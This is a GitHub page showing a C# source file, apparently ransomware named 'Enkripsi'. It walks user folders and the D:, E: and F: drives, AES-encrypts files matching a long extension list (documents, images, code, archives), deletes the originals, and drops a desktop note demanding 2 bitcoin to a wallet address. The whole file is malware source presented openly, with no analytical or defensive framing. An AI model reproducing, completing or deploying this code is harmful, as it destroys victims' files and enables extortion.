-
Notifications
You must be signed in to change notification settings - Fork 0
/
Enkripsi.cs
154 lines (135 loc) · 5.08 KB
/
Enkripsi.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
using System;
using System.IO;
using System.Collections.Generic;
using System.Security.Cryptography;
static class Program
{
[STAThread]
static void Main(string[] args)
{
try
{
Locker.EncryptFileSystem();
var notePath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\" + "!!! OPEN ME !!!.txt";
var note = "Y 0 u R F i 1 e S R 3 n C r y P t 3 d ! M u a h a h a h a h a h a h a h ah a !!!!!!\r\n2 d 3 C r y P t y 0 u R F i 1 e S P 1 e a s e s 3 n D .2 B i T c 0 i N (b t C) t o 14xMeDbjsyBCtjCLsaKBYLqw4C2Sf145o5";
System.IO.File.WriteAllText(notePath, note);
}
catch
{
}
}
}
internal static class Config
{
internal const string EncryptionFileExtension = @".lol";
internal const int MaxFilesizeToEncryptInBytes = 10000000;
internal const string EncryptionPassword = @"QlRDPTE0eE1lRGJqc3lCQ3RqQ0xzYUtCWUxxdzRDMlNmMTQ1bzU=";
}
internal static class Locker
{
private static readonly HashSet<string> EncryptedFiles = new HashSet<string>();
private const string EncryptionFileExtension = Config.EncryptionFileExtension;
private const string EncryptionPassword = Config.EncryptionPassword;
private static HashSet<string> DirectoriesToEncrypt = new HashSet<string>()
{
@"C:\Users\",
@"D:\",
@"E:\",
@"F:\"
};
internal static void EncryptFileSystem()
{
var extensionsToEncrypt = new HashSet<string>(GetExtensionsToEncrypt());
foreach (var directory in DirectoriesToEncrypt)
{
EncryptFiles(directory, EncryptionFileExtension, extensionsToEncrypt);
}
foreach (var file in EncryptedFiles)
{
try
{
File.Delete(file);
}
catch
{
}
}
}
private static IEnumerable<string> GetExtensionsToEncrypt()
{
var extensionsToEncrypt = new HashSet<string>();
foreach (
var ext in
Resources.ExtensionsToEncrypt.Split(new[] { Environment.NewLine, " " },
StringSplitOptions.RemoveEmptyEntries).ToList())
{
extensionsToEncrypt.Add(ext.Trim());
}
extensionsToEncrypt.Remove(EncryptionFileExtension);
return extensionsToEncrypt;
}
private static void EncryptFiles(string dirPath, string encryptionExtension, HashSet<string> extensionsToEncrypt)
{
foreach (var file in
(from file in Directory.GetFiles(dirPath) from ext in extensionsToEncrypt where file.EndsWith(ext) select file)
.Select(file => new { file, fi = new FileInfo(file) })
.Where(@t => @t.fi.Length < 10000000)
.Select(@t => @t.file))
{
try
{
if (EncryptFile(file, encryptionExtension))
{
EncryptedFiles.Add(file);
}
}
catch
{
}
}
}
private static bool EncryptFile(string path, string encryptionExtension)
{
try
{
using (var aes = new AesCryptoServiceProvider())
{
aes.Key = Convert.FromBase64String(EncryptionPassword);
aes.IV = new byte[] { 0, 1, 0, 3, 5, 3, 0, 1, 0, 0, 2, 0, 6, 7, 6, 0 };
EncryptFile(aes, path, path + encryptionExtension);
}
}
catch
{
return false;
}
return true;
}
private static void EncryptFile(SymmetricAlgorithm alg, string inputFile, string outputFile)
{
var buffer = new byte[65536];
using (var streamIn = new FileStream(inputFile, FileMode.Open))
using (var streamOut = new FileStream(outputFile, FileMode.Create))
using (var encrypt = new CryptoStream(streamOut, alg.CreateEncryptor(), CryptoStreamMode.Write))
{
int bytesRead;
do
{
bytesRead = streamIn.Read(buffer, 0, buffer.Length);
if (bytesRead != 0)
encrypt.Write(buffer, 0, bytesRead);
}
while (bytesRead != 0);
}
}
}
internal class Resources
{
internal static string ExtensionsToEncrypt
{
get
{
return ".conf .cfg .dll .exe .ps1 .vbs .sln .cpp .jpg .jpeg .raw .tif .gif .png .bmp .3dm .max .accdb .db .dbf .mdb .pdb .sql .dwg .dxf .c .cpp .cs .h .php .asp .rb .java .jar .class .py .js .aaf .aep .aepx .plb .prel .prproj .aet .ppj .psd .indd .indl .indt .indb .inx .idml .pmd .xqx .xqx .ai .eps .ps .svg .swf .fla .as3 .as .txt .doc .dot .docx .docm .dotx .dotm .docb .rtf .wpd .wps .msg .pdf .xls .xlt .xlm .xlsx .xlsm .xltx .xltm .xlsb .xla .xlam .xll .xlw .ppt .pot .pps .pptx .pptm .potx .potm .ppam .ppsx .ppsm .sldx .sldm .wav .mp3 .aif .iff .m3u .m4u .mid .mpa .wma .ra .avi .mov .mp4 .3gp .mpeg .3g2 .asf .asx .flv .mpg .wmv .vob .m3u8 .mkv .dat .csv .efx .sdf .vcf .xml .ses .rar .zip .7zip";
}
}
}